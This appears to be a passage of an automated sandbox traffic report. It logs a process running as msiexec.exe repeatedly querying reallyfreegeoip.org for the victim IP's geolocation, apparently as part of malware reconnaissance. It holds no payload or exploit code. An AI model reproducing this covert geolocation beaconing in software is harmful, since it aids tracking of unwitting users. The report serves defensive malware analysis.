alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=997&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2881592&cwnd=251&unsent_bytes=0&cid=92d7ed0e722d0a1f&ts=143&x=0"
2024-11-04 06:13:42 UTC	148	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionNa
2024-11-04 06:13:42 UTC	211	IN	Data Raw: 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: me>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49829	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:43 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-04 06:13:44 UTC	1212	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:44 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7182 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=37Q4BDKmwhkqfGTOBMqcujUvcIHAQ4JlWfremYyRcufBxEr64iOyOeU3OY8wpa00Y11MS4qXKLYuVsG7puOGRnaWGDoZ98iCH20XjrqKDm%2FU0uUFwTGcyjXxnSLZNNcEo5A3M7xJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275b6580d2e17-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2007&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1473791&cwnd=245&unsent_bytes=0&cid=afc51aeee00058d1&ts=156&x=0"
2024-11-04 06:13:44 UTC	157	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas<
2024-11-04 06:13:44 UTC	202	IN	Data Raw: 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: /RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49840	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:45 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-04 06:13:45 UTC	1227	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:45 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7183 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cyWuZCMc5nv7yzcDw7YRCQ975gZoK%2BC3l1ROk%2BbOY%2FPGjjtXwB34%2FJgl7zP2G1zYsenBgvp9dF4hFr%2BisSfFXlBGHFNP%2F8Hz%2BTlF%2F%2Ff44o3cEw7HwM8oVAKSgvfG27HJRX2NEKyQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275c1cc296b3f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=996&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2630336&cwnd=245&unsent_bytes=0&cid=cab88c2ad9bf44b0&ts=359&x=0"
2024-11-04 06:13:45 UTC	142	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><Re
2024-11-04 06:13:45 UTC	217	IN	Data Raw: 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: gionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49852	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:47 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-04 06:13:47 UTC	1218	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:47 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7185 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s2PN0m39uWF9h%2Fz6SBiDvy%2BI6xvJXSjiMvsB15WJMJVoq3ouzKXa9ybm4eKqjACSrUCbVjkcU6HaOpvpwcKN4wuGEaLAo6ftqK%2BwxM4C6zsgmo8aAkudaH%2FD1pFvnj6uXI8mEjgi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275cbc9d44769-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1224&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2264268&cwnd=249&unsent_bytes=0&cid=a3266824c9f83f2a&ts=146&x=0"
2024-11-04 06:13:47 UTC	151	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>
2024-11-04 06:13:47 UTC	208	IN	Data Raw: 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49864	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:49 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-04 06:13:49 UTC	1222	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:49 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7187 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z5IP%2F%2F%2B21qSQOYDSIhZU8H1l0dyHSaTyT%2BLS9qyZ%2B4dVX%2ByViPmTV1p1bKdprK6oabUJNG3azdMuVVMd8rAKjCGWRMdILGetC4V99wdK4zf4DJsM2nsXm8emyrM2YNwB1PnYgcrT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275d5cbcea924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=701&delivery_rate=2639927&cwnd=201&unsent_bytes=0&cid=c07eb21296ce39a6&ts=149&x=0"
2024-11-04 06:13:49 UTC	147	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionN
2024-11-04 06:13:49 UTC	212	IN	Data Raw: 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: ame>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49876	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:50 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-04 06:13:50 UTC	1216	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:50 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7188 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CdY2aE7rVqHgZ6D%2Bl1H2g8Hydx74MrnT6rxTL7GvbKc8FLjC6I9CNzVcUDYYTsWpx6cr%2FeaRnLhwbQ9J7qcd1cDOMTKbE2dnjdiYIWrp20qDighOGXHhPHWMc%2FqZx4eWglqxWL7i"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275dfdf51e962-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1649&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1645454&cwnd=251&unsent_bytes=0&cid=c3abf3c13f66d44e&ts=150&x=0"
2024-11-04 06:13:50 UTC	153	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Te
2024-11-04 06:13:50 UTC	206	IN	Data Raw: 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: xas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49887	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:52 UTC	63	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-04 06:13:52 UTC	1222	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:52 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7190 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PIJE%2FBl6n%2BN0qa6%2BhG8Q21IBQE%2FsKFGe%2F7Oetr6ybuzcSaL2rYqY0V4OUsT6NFxdkUMnByJ9XZfUMRlkh2CaysKD8jTL1vmHGAKVhNPzBSaxqr7BODTZ%2Bk2eK5Dn3Z2ThyK27TYn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275e9ec994751-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1221&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2253696&cwnd=251&unsent_bytes=0&cid=e780448b34e4e460&ts=144&x=0"
2024-11-04 06:13:52 UTC	147	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e Data Ascii: <Response><IP>173.254.250.69</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionN
2024-11-04 06:13:52 UTC	212	IN	Data Raw: 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 31 2e 30 30 36 35 3c 2f 4c 61 74 69 74 75 64 65 3e 0a 09 3c 4c 6f 6e 67 69 74 75 64 65 3e 2d 39 37 2e 38 34 30 36 3c 2f 4c 6f 6e 67 69 74 75 64 65 3e 0a 09 3c 4d 65 74 72 6f 43 6f 64 65 3e 36 32 35 3c 2f 4d 65 74 72 6f 43 6f 64 65 3e 0a 3c 2f 52 65 73 70 6f 6e 73 65 3e 0a Data Ascii: ame>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>31.0065</Latitude><Longitude>-97.8406</Longitude><MetroCode>625</MetroCode></Response>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49895	188.114.96.3	443	1128	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-04 06:13:53 UTC	87	OUT	GET /xml/173.254.250.69 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-04 06:13:53 UTC	1214	IN	HTTP/1.1 200 OK Date: Mon, 04 Nov 2024 06:13:53 GMT Content-Type: text/xml Content-Length: 359 Connection: close x-amzn-requestid: e4efa8e8-d13f-4030-8c31-0e7b32b72f8c x-amzn-trace-id: Root=1-67284a0a-5b7499381717d30a571c92ee;Parent=0a40f8dd062bc641;Sampled=0;Lineage=1:fc9e8231:0 x-cache: Miss from cloudfront via: 1.1 5b3c6a4e26bbf4961fe156f79327ee02.cloudfront.net (CloudFront) x-amz-cf-pop: DFW57-P5 x-amz-cf-id: LMfxpBeIdc4uOv1BySdpGpuw_XLxIRzGp39Pi6z_r4dkQmtoLPl60w== Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 7191 Last-Modified: Mon, 04 Nov 2024 04:14:02 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2Mz6WCE8F6fztWA8o3t5Se7z0QyDF3qxxczbbEbQamwuKE3aKSrKBOSaqnQHWBPoBrXqSYu%2BC2Aypg2Ljx7Hp1eUp1R5pnqIbXIXSbsD4dq6Bke53rzMKvCq%2FXxE4CxVBhCe9y7o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dd275f3cbf24863-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2037&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1397009&cwnd=247&unsent_bytes=0&cid=5dd0173357af496a&ts=144&x=0"
